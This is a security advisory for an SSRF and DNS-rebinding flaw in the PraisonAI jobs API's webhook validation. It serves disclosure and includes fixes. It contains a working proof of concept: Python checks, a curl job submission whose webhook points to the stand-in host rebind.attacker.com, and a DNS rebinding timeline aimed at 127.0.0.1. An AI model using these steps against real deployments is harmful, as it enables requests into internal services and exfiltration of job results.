PYSEC-2026-3895

Summary

praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor._send_webhook(), which calls httpx.AsyncClient().post(job.webhook_url) — performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.

An attacker can:

1. Submit a job with webhook_url pointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (gaierror → pass)
2. Update DNS to point that hostname to 127.0.0.1 or another private IP
3. When the job completes, _send_webhook() resolves the hostname fresh → POST sent to the internal IP

Details

Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):

@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
    ...
    try:
        ip = socket.gethostbyname(hostname)
        ip_obj = ipaddress.ip_address(ip)
        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
            raise ValueError("Webhook URL resolves to private network address")
    except socket.gaierror:
        pass    # <-- FAIL-OPEN: DNS failure allows the URL without restriction
    return v

When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.

Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):

async def _send_webhook(self, job: Job):
    async with httpx.AsyncClient(timeout=30.0) as client:
        response = await client.post(
            job.webhook_url,      # <-- fresh DNS resolution here, not cached from validation
            json=payload,
            ...
        )

httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).

Combined TOCTOU window:

T=0   Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
      Validation:  socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
      Result:      except socket.gaierror: pass  → ACCEPTED

T=5   Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)

T=60  Job completes. _send_webhook() fires:
      httpx.post("http://rebind.attacker.com/cb")
      DNS: rebind.attacker.com → 127.0.0.1
      POST reaches 127.0.0.1 → SSRF

Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhook_url parameter, patched in v4.5.126 by adding validate_webhook_url() to jobs/models.py. This finding targets the validation code itself — the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.

PoC

Requirements: A domain you control with configurable DNS TTL, access to the jobs API

Step 1 — Confirm fail-open behaviour (local code verification):

from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket

# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
    req = JobSubmitRequest(
        prompt="hello",
        webhook_url="http://rebind.attacker.com/callback"
    )
    # No exception raised — URL accepted despite NXDOMAIN
    print("Webhook accepted:", req.webhook_url)

Expected: Webhook accepted: http://rebind.attacker.com/callback

Step 2 — Confirm fresh DNS at execution time:

# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently

import httpx, asyncio

async def demo():
    # httpx resolves DNS here, not using any cached result from validation
    async with httpx.AsyncClient() as client:
        # This call resolves "rebind.attacker.com" fresh at runtime
        # If DNS changed since validation, it hits the new IP
        try:
            r = await client.post("http://rebind.attacker.com/callback", json={})
        except Exception as e:
            print(f"Connection: {e}")

asyncio.run(demo())

Step 3 — Full attack scenario:

# 1. Set up domain with short TTL, currently returning NXDOMAIN
#    rebind.attacker.com  →  (no record, TTL=60)

# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": "Calculate 2+2",
    "webhook_url": "http://rebind.attacker.com/callback"
  }'
# Response: {"job_id": "job_abc123", "status": "queued", ...}

# 3. After 5 seconds (before job finishes), add DNS record:
#    rebind.attacker.com  A  127.0.0.1  TTL=60

# 4. Wait for job to complete (seconds to minutes).
#    _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
#    POST request hits 127.0.0.1 (internal service)

# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}

Immediate variant (no DNS timing required):

If DNS resolution fails transiently (rate limit, network blip, temporary outage) during validation, the webhook is accepted unconditionally even for a URL that would normally resolve to a private IP. No attacker control over DNS timing is required — the attacker simply retries submission during moments when their DNS server is unreachable (e.g., their DNS server is down, causing gaierror).

Impact

What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.

Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to external or lower-trusted callers. This includes:

• Multi-tenant deployments where workspace members submit jobs
• API integrations (n8n, Zapier-style workflows) that provide webhook_url fields

Post-exploit capabilities:

• HTTP POST to any internal service with JSON payload (job result data)
• If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure
• Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint

---

## Remediation Suggestion (for maintainers)

**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**

```python
# VULNERABLE
except socket.gaierror:
    pass

# FIXED
except socket.gaierror:
    raise ValueError(
        "Webhook URL hostname could not be resolved. "
        "Ensure the hostname is valid and publicly reachable."
    )

Fix 2 — Re-validate at execution time (jobs/executor.py before _send_webhook):

async def _send_webhook(self, job: Job):
    if not job.webhook_url:
        return
    # Re-validate to prevent DNS rebinding
    try:
        from urllib.parse import urlparse
        import socket, ipaddress
        hostname = urlparse(job.webhook_url).hostname
        ip = socket.gethostbyname(hostname)
        if ipaddress.ip_address(ip).is_private:
            logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}")
            return
    except Exception as e:
        logger.warning(f"Webhook validation failed at execution: {e}")
        return
    # ... proceed with httpx.post